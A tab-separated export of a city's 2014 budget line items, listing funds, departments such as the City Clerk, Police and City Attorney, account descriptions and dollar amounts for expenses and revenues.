4511	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2014	26525.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26525.0
4512	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	16476.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16476.0
4513	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522030.0	INVESTIGATION EXPENSES		 Supplies and Expenses	2014	38000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38000.0
4514	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522070.0	DEPOSITION COSTS		 Supplies and Expenses	2014	56000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	56000.0
4515	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	18222.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18222.0
4516	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2014	415381.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	415381.0
4517	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4518	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2014	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
4519	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	557.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	557.0
4520	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
4521	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	443039.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	443039.0
4522	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400870.0	LEASE RENTAL REVENUE-DOWNTOWN	618.0	Rentals	2014	-350188.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-350188.0
4523	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401250.0	PLAN CHECK FEES-CITY PLANNING	612.0	Charges for Service	2014	-421211.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-421211.0
4524	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400810.0	PEACE OFFICERS TRAINING	610.0	Intergovernmental	2014	-89778.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-89778.0
4525	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401460.0	POLICE SERV-FINGERPRINTING	612.0	Charges for Service	2014	-33501.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-33501.0
4526	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	2200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2200.0
4527	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2014	6334.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6334.0
4528	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511490.0	OVERTIME	816.0	Salaries and Wages	2014	1887.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1887.0
4529	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2014	616487.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	616487.0
4530	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	12138.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12138.0
4531	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4532	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2014	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
4533	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
4534	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	12950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12950.0
4535	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2014	215000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	215000.0
4536	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	765108.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	765108.0
4537	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	3782.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3782.0
4538	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	566090.0	ENTERTAIN - PUBLIC GS	804.0	 Supplies and Expenses	2014	18000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18000.0
4539	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	305589.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	305589.0
4540	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1212.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1212.0
4541	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
4542	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	1568.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1568.0
4543	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1200.0
4544	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
4545	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4546	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401900.0	FALSE ALARM	612.0	Charges for Service	2014	-319046.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-319046.0
4547	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	49117.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	49117.0
4548	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	7354.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7354.0
4549	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	5500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5500.0
4550	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	19503.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19503.0
4551	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DCAP	808.0	Salaries and Wages	2014	1920.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1920.0
4552	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2014	80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	80000.0
4553	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577230.0	FISCAL AGENT FEES	816.0	 Supplies and Expenses	2014	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
4554	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4555	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522120.0	UTILITIES - NATURAL GAS	816.0	 Supplies and Expenses	2014	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
4556	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	13000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13000.0
4557	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511490.0	OVERTIME	816.0	Salaries and Wages	2014	20499.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20499.0
4558	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522090.0	MISCELLANEOUS COSTS		 Supplies and Expenses	2014	135000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	135000.0
4559	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	5973.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5973.0
4560	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	72000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72000.0
4561	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	23575.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23575.0
4562	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400700.0	PARKING CITATION FINES	614.0	Fines and Forfeitures	2014	-14300000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14300000.0
4563	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522520.0	LEGAL ADVERTISING	804.0	 Supplies and Expenses	2014	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
4564	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	87500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87500.0
4565	BA	IS	15	Low/Mod Incme Housing Asset Fd	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2014	-2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2500.0
4566	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401470.0	DEVELOPMENT AGREEMENTS	612.0	Charges for Service	2014	-125000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-125000.0
4567	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401550.0	MAP/CODE/SPECIFICATIONS SALES	612.0	Charges for Service	2014	-1197.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1197.0
4568	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401560.0	ZONING APPR/VARIANCE FEES	612.0	Charges for Service	2014	-924566.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-924566.0
4569	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1851.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1851.0
4570	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2014	95000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	95000.0
4571	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2014	5727.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5727.0
4572	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4573	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
4574	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	1127499.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1127499.0
4575	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4576	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	1017524.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1017524.0
4577	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511490.0	OVERTIME	810.0	Salaries and Wages	2014	2522.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2522.0
4578	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	31621.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31621.0
4579	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
4580	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511490.0	OVERTIME	816.0	Salaries and Wages	2014	57853.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	57853.0
4581	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
4582	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4583	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	4494.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4494.0
4584	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	3172.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3172.0
4585	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401440.0	POLICE BILLABLE SERVICES	612.0	Charges for Service	2014	-462836.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-462836.0
4586	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405300.0	DUI RESPONSE-ACCIDENT/INJURY	612.0	Charges for Service	2014	-27358.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-27358.0
4587	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400230.0	CONDOMINIUM TAX	606.0	Other Local Taxes	2014	-20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20000.0
4588	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2014	1091.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1091.0
4589	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
4590	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2014	9240.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9240.0
4591	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2014	12625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12625.0
4592	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4593	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
4594	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2014	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
4595	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	533230.0	SECURITY SYSTEMS	810.0	 Supplies and Expenses	2014	1085.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1085.0
4596	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	523.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	523.0
4597	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2014	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
4598	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	2051.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2051.0
4599	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	99.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	99.0
4600	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	209.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	209.0
4601	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2014	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
4602	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511490.0	OVERTIME	816.0	Salaries and Wages	2014	10392.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10392.0
4603	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522050.0	MEDICAL EXAMS		 Supplies and Expenses	2014	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
4604	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
4605	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	6683.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6683.0
4606	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	23500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23500.0
4607	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511490.0	OVERTIME	804.0	Salaries and Wages	2014	5951.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5951.0
4608	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1010.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1010.0
4609	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	804.0	 Supplies and Expenses	2014	70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70000.0
4610	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
4611	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401920.0	FARMERS' MARKET	622.0	Other	2014	-861000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-861000.0
4612	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	401180.0	DISP COUNSELING FEE	612.0	Charges for Service	2014	-5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5000.0
4613	BA	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404950.0	HOME INVESTMENT PARTNERSHIPS	610.0	Intergovernmental	2014	-461670.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-461670.0
4614	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400470.0	POLICE PERMITS	608.0	Licenses and Permits	2014	-12350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-12350.0
4615	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405010.0	AUTO IMPOUND RELEASE	612.0	Charges for Service	2014	-233161.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-233161.0
4616	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400370.0	RESIDENTIAL BLDG REPORT	612.0	Charges for Service	2014	-180000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-180000.0
4617	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400500.0	BUILDING PERMITS	612.0	Charges for Service	2014	-2647050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2647050.0
4618	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400510.0	PLAN CHECK FEES-BLDG & SAFETY	612.0	Charges for Service	2014	-2587074.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2587074.0
4619	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	7296108.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7296108.0
4620	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2014	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
4621	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	14500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14500.0
4622	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	140000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	140000.0
4623	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2014	900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	900.0
